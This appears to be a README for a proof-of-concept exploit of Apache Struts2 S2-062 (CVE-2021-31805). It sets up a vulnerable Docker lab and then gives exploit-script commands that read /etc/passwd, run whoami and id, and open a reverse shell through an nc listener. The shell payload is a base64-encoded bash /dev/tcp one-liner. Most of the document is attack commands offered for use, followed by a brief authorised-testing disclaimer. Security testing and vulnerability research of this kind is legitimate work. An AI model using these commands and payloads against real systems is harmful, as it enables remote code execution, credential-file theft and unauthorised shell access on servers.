Struts2_S2-062_CVE-2021-31805

Apache Struts2 S2-062 Remote Code Execution Vulnerability (CVE-2021-31805) | Reverse Shell

Vulnerability Reproduction Environment

docker-compose.yml

version: '2'
services:
 struts2:
   image: vulhub/struts2:2.5.25
   ports:
    - "8080:8080"

Pull the image and start the environment

docker-compose up -d

Access address: http://1.1.1.1:8080

Vulnerability Verification Script

python Struts2_S2-062_CVE-2021-31805.py http://1.1.1.1:8080/index.action "cat /etc/passwd"

python Struts2_S2-062_CVE-2021-31805.py http://1.1.1.1:8080/index.action whoami

python Struts2_S2-062_CVE-2021-31805.py http://1.1.1.1:8080/index.action id

Reverse Shell

Start Port Listening with NC

nc -lvvp 8081

Construct a base64-encoded reverse shell script, generated using the following website: https://ir0ny.top/pentest/reverse-encoder-shell.html

Obtain Shell

python CVE-2021-31805_Shell.py http://1.1.1.1:8080/index.action "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODA4MCAwPiYx}|{base64,-d}|{bash,-i}"

Successfully Obtained Shell

Disclaimer

Do not use for illegal purposes. Only for security testing. Any consequences caused otherwise are unrelated to this project. Note: Only test websites with proper authorization: Hacking sites irresponsibly will bring tears to your loved ones.